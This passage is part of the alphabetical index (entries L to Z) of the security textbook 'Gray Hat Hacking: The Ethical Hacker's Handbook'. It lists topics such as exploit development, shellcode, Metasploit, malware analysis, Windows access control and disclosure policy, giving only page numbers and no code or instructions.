determining the offset(s), 163–166
direct parameter access, 175
exploit development process, 162–168
exploiting small buffers, 160–162
exploiting stack overflows by command
line, 157–158
exploiting stack overflows with generic
code, 158–160
format string exploits, 169–180
function calling procedure, 148–149
heap overflow exploits, 180–182
local buffer overflow exploits, 154–162
memory protection schemes, 182–193
overflow of meet.c, 150–153
reading arbitrary memory, 174
return to libc exploits, 185–192
stack operations, 148–149
taking .dtors to root, 177–180
testing the exploit, 168
using the %s token to read arbitrary
strings, 174
using the %x token to map out
the stack, 173
writing to arbitrary memory, 175–177
Linux shellcode, 211–212
shell-spawning shellcode with execve,
217–220
system calls, 212–217
Linux socket programming, 220–223
LM Hashes+ challenge, 94–96
local buffer overflow exploits, 154–162
Local Machine zone (LMZ), 362
LOGON SIDs, 408
LordPE, 528
placeLos Alamos National Laboratory, 8
Lynn, Michael, 48–49
M
Mac OS X, vulnerabilities, 43–44
Macintosh systems, 43–44
maintainer, 53
malware, 5–6, 521
automated analysis, 535
defensive techniques, 500–501
defined, 499
de-obfuscation, 524
embedded components, 522
encryption, 522
Gray Hat Hacking: The Ethical Hacker’s Handbook
544
financial impact of, 4–5
live analysis, 512–518
operation phase, 534–535
persistence measures, 523–524
reverse engineering, 521, 533–535
setup phase, 533–534
static analysis, 510–512
types of, 499–500
unpacking binaries, 525–533
use of rootkit technology, 523
user space hiding techniques, 522–523
Malware Analyst Pack, 518
MangleMe, 370–371
manual auditing, 283–289
of binary code, 289–304
Mark of the Web (MOTW), 375
Maynor, Dave, 43
meet.c, overflow of, 150–153
memory, 128
.bss section, 129
buffers, 130
.data section, 129
endian, 128–129
environment/arguments section, 130
example of memory usage in
a program, 131
heap section, 129
pointers, 130–131
programs in, 129–130
RAM, 128
segmentation, 129
stack section, 130
strings in, 130
.text section, 129
memory monitoring tools, 343–348
Metasploit, 75
auto-attacking, 98
automating shellcode generation,
238–241
brute-force password retrieval with
the LM Hashes+ challenge, 94–96
configuring as a malicious SMB server,
92–94
db_autopwn, 98, 114–117
downloading, 75–76
exploiting client-side vulnerabilities,
83–91
Meterpreter, 87–91
modules, 98–100
rainbow tables, 96–98
using as a man-in-the-middle password
stealer, 91–98
using to launch exploits, 76–83
Microsoft, product vulnerabilities, 41
migration, 482–483
misconfigurations, eliminating, 71
mistrust of user input, 71
mitigation, 481–482
migration, 482–483
port knocking, 482
Monroe, Jana, 27
Monster.com, 7
Month of Apple Bugs (MoAB), 49, 496
Month of Apple Fixes, 496
Month of Browser Bugs (MoBB), 49
Month of Bugs (MoXB), 49
Month of Kernel Bugs (MoKB), 49
Month of PHP Bugs (MoPB), 49
Moore, H.D., 49, 258, 378, 383
motivations of hackers, 5
multistage shellcode, 202
See also shellcode
mutations, 490
against format string exploits, 493–495
against heap overflows, 492–493
against stack overflows, 490–492
mutexes, enumerating, 439–440
Index
545
N
named kernel objects, enumerating,
439–440
named pipes, enumerating, 438
Nepenthes, 503, 508–510
network byte order, 221
nibbles, 128
NIPrint server exploit example, 266–274
non-executable memory pages, 184,
192–193
NOP sled, 155
Norman Sandbox, 518–519
notification, 56–58
NTLM protocol, weakness in, 92
NTSD (Microsoft NT Symbolic
Debugger), 246
NULL DACL, 408–409
O
objdump utility, 526
OIS. See Organization for Internet
Safety (OIS)
OllyBonE, 528
OllyDbg, debugging with, 254–258
OllyDump, 529
Operation Cyber Sweep, 25–26
Operation French Fry, 21
Organization for Internet Safety (OIS),
54–55
controversy surrounding
OIS guidelines, 63
discovery, 55–56
notification, 56–58
release, 62
resolution, 61–62
validation, 58–61
originator, 53
overflow of meet.c, 150–153
P
packers, 501, 524–525
UPX, 527
Page-eXec patches, 184
passive analysis, 277
binary analysis, 289–307
ethical reverse engineering, 277–279
passwords, 12–13
brute-force password retrieval with the LM
Hashes+ challenge, 94–96
source code analysis, 279–289
using Metasploit as a man-in-the-middle
password stealer, 91–98
patch, 485–486
patch failures, 67
PatchByte function, 531
patching, 484
binary mutation, 490–495
binary patching, 486–490
executable formats, 487–488
limitations, 489–490
patch development and use, 485–486,
488–489
source code patching, 484–486
third-party initiatives, 495–496
what to patch, 484–485
when to patch, 484
why patch, 486–487
PaX. See Page-eXec patches
payload construction, 475–476
buffer orientation problems, 476–477
protocol elements, 476
self-destructive shellcode, 477–478
PE Dumper, 529
PE format, 487–488
PeerCast, 98–100
PEiD, 511, 525
penetration methodology, 11
Gray Hat Hacking: The Ethical Hacker’s Handbook
546
persistence, of malware, 523–524
Pfizer, 7
phreakers, 20
Pilon, Roger, 35
pointers, 130–131
port binding shellcode, 197–198
Linux socket programming, 220–223
testing the shellcode, 226–228
See also shellcode
port knocking, 482
port_bind_asm.asm, 224–226
port_bind_sc.c, 227–228
port_bind.c, 222–223
postconditions, 466–467
preconditions, 466–467
PREfast, 281–282
printf, 170–172
Privacyrights.org, 7
ProcDump, 527
Process Explorer, 401–402, 516–517
process initialization, 468–470
process injection shellcode, 203–204
See also shellcode
Process Monitor, 412–413
Process Stalker, 340–341
processes, enumerating, 439
processors, 132
profiling tools, 341–342
protection from hacking, 8
protective wrappers with encryption, 501
protocol analysis, 441–443
public disclosure, 48
publicity, 65–66
push, 148
Python, 139–140
dictionaries, 144
downloading, 140
file access, 144–146
lists, 143–144
numbers, 142–143
objects, 140
sample program, 140
sockets, 146
strings, 141–142
R
rainbow tables, 96–98
RainForest Puppy, 54
RainForest Puppy Policy, 52–54
See also disclosure policy
RAM, 128
RATS, 280
RavMonE.exe virus, 6–7
recognizing attacks, 13–14
registers, 132
Regshot, 514
release, 62
repeatability, 467
reporting vulnerabilities. See disclosure policy
Request for Confirmation of Receipt
(RFCR), 57
Request for Status (RFS), 58
resolution, 61–62
return addresses, 148
repeating, 156–157
return to libc exploits, 185–192, 473–475
defenses, 475
reverse connecting shellcode, 228–231
reverse engineering, 277–279
code coverage tools, 340–341
debuggers, 338–340
flow analysis tools, 342–343
fuzzing tools, 348–357
instrumentation tools, 337–348
memory monitoring tools, 343–348
profiling tools, 341–342
reasons for trying to break software, 336
software development process, 336–337
Index
547
reverse shellcode, 199–200
See also shellcode
RFP. See RainForest Puppy Policy
rights of ownership, 408
Ritchie, Dennis, 121
roo. See honeywalls
rootkits, 5, 500
and Macintosh products, 43–44
and malware, 523
RRAS vulnerabilities, using Metasploit
to exploit, 76–83
run and dump unpacking, 527–528
Russinovich, Mark, 386
S
SABRE Security, 535
Sawyer v. Department of Air Force, 32
security
and complexity, 15–16
suggestions for improving, 71–72
security community, view of disclosure, 64
security compromises, examples and
trends, 6–8
security descriptors (SDs), 394–396
dumping, 403–406
security identifiers (SIDs), 389–390
authentication SIDs, 406–408
LOGON SIDs, 408
special SIDs, 406
security officers, 10–11
security quality assurance (SQA), 71
security researchers. See gray hat hackers
security zones, 362–363
semaphores, enumerating, 439–440
services, attacking, 418–424
setreuid system calls, 216–217
shared code bases, 58–59
shared memory sections, enumerating,
437–438
Sharefuzz, 357
shellcode, 155–156, 195
automating shellcode generation with
Metasploit, 238–241
basic, 197
command execution code, 201
disassembling, 206–207
encoding, 204–205, 232–238, 240–241
file transfer code, 202
find socket shellcode, 200–201
FNSTENV XOR example, 234–236
JMP/CALL XOR decoder example,
233–234
kernel space, 196, 208–209
multistage shellcode, 202
port binding shellcode, 197–198
process injection shellcode, 203–204
reverse connecting shellcode, 228–231
reverse shellcode, 199–200
self-corrupting, 205–206, 477–478
shell-spawning shellcode with execve,
217–220
structure of encoded shellcode, 232
system call shellcode, 202–203
system calls, 196
user space, 196–207
XOR encoding, 232
See also Linux shellcode
skimming, 21
Skylined, 383–384
sockaddr structure, 221–222
socketcall system call, 223–224
sockets, 222
assembly program to establish a socket,
223–226
software development process, 336–337
software traps, 212
software vendors, 47–48
view of disclosure, 64
Gray Hat Hacking: The Ethical Hacker’s Handbook
548
source code analysis, 279
auditing tools, 280–283
manual auditing, 283–289
source code patching, 484–486
spam, increase in, 10
spear phishing, 360–361
SPIKE, 353–357
Splint, 280, 281
spyware, 500
See also malware
stack operations, 148–149
exploiting stack overflows by command
line, 157–158
exploiting stack overflows with generic
code, 158–160
with format functions, 171–172
working with a padded stack, 470
stack overflows, mutations against, 490–492
stack predictability, 468
static analysis, challenges, 309–310
statically linked programs, 312–318
Stewart, Joe, 528
Stored Communication Act, 33
strcpy/strncpy, 282
strings utility, 511–512, 525
stripped binaries, 310–312
SubInACL, 403, 404, 405
Sulley, 443
analysis of network traffic, 456
bit fields, 445
blocks, 446–447
controlling VMware, 452
dependencies, 448–449
fault monitoring, 450–451
generating random data, 444–445
groups, 447–448
installing, 443
integers, 445–446
network traffic monitoring, 451
postmortem analysis of crashes, 454–455
primitives, 444
sessions, 449–450
starting a fuzzing session, 452–454
strings and delimiters, 445
using binary values, 444
”Symantec Internet Security Threat Report”, 5
symbols, 247–248
System Access Control List (SACL), 394
system call proxy, 203
system call shellcode, 202–203
See also shellcode
system calls, 196, 212
by assembly, 213–214
by C, 213
execve system calls, 217–220
exit system calls, 214–216
setreuid system calls, 216–217
socketcall system call, 223–224
T
targets, SANS top 20 security attack targets in
2006, 41–42
TCPView, 517–518
“The Vulnerability Process: A Tiger Team
Approach to Resolving Vulnerability
Cases”, 66
tiger team approach, 66
timeframe, for delivery of remedy, 61–62
Timestomp command, 91
Tiny Encryption Algorithm (TEA), 522
TippingPoint, 69–70
!token, 402–403
tools, dual nature of, 12–13
translation look-aside buffers (TLB), 184
Trojan horses, 42, 500
See also malware
TurboTax, 8
Index
549
U
United States v. Heckenkamp, 27
United States v. Jeansonne, 26
United States v. Rocci, 38
United States v. Sklyarov, 38
United States v. Whitehead, 38
United States v. Williams, 27
unpacking binaries, 525–533
debugger-assisted unpacking, 528–529
IDA-assisted unpacking, 529–533
run and dump unpacking, 527–528
UPX, 511, 527
U.S. Department of Veteran’s Affairs, 8
USA Patriot Act, 35–36, 39
user responsibilities, 71
V
valgrind, 345–348
validation, 58–61
vendors, 47–48
virtual tables. See vtables
viruses, 500
and the CFAA, 26
See also malware
VM detection, 501, 506–507
VMware, setup, 508
vtables, 323–325
vulnerabilities
after fixes are in place, 67
amount of time to develop fixes for,
46–47
client-side vulnerabilities, 83–91,
359–361, 363–369
documenting problems, 478–479
in Mac OS X, 43–44
in Microsoft products, 41
RRAS vulnerabilities, 76–83
understanding, 466
vulnerability analysis. See passive analysis
vulnerability summary report (VSR), 56
W
Walleye web interface, 505–506
white box testing, 335
wilderness, 180
WinDbg, 246
Windows Access Control, 388–389
access control entries (ACEs), 394–397
access tokens, 390–393
AccessCheck function, 397–400
attacking services, 418–424
attacking weak DACLs in the Windows
registry, 424–428
attacking weak directory DACLs, 428–432
attacking weak file DACLs, 433–436
Authenticated Users group, 406
authentication SIDs, 406–408
Discretionary Access Control List
(DACL), 394
dumping the process token, 401–403
dumping the security descriptor, 403–406
Everyone group, 406
investigating “access denied”, 409–412
LOGON SIDs, 408
NULL DACL, 408–409
precision desiredAccess requests, 413–417
rights of ownership, 408
security descriptors (SDs), 394–396
security identifiers (SIDs), 389–390
special SIDs, 406
System Access Control List (SACL), 394
See also access control
Windows exploits
building a basic Windows exploit,
258–265
building the exploit sandwich, 263–265
common problems leading to exploitable
conditions, 285–286
compiling on Windows, 243–245
crashing meet.exe and controlling eip,
259–260
debugging with OllyDbg, 254–258
debugging with Windows Console
debuggers, 245–254
getting the return address, 262
NIPrint server exploit example, 266–274
testing the shellcode, 260–262
Windows registry, 523
attacking weak DACLs in, 424–428
Windows Vista, 69
Winrtgen, 96–98
Wiretap Act, 32–33, 36
World Intellectual Property Organization
Copyright Treaty (WIPO Treaty), 36
worms, 500
Blaster worm attacks, 27–28
and the CFAA, 26–28
Doomjuice family of worms, 520
See also malware
X
x86emu, 332, 531–533
XOR encoding, 232
Y
Year of the Rootkit, 5
Z
Zero Day Initiative (ZDI), 69–70
zero-day attacks, 42, 44–45
Zeroday Emergency Response
Team (ZERT), 496
zero-day Wednesdays, 44–45
zone elevation attacks, 363
Gray Hat Hacking: The Ethical Hacker’s Handbook
550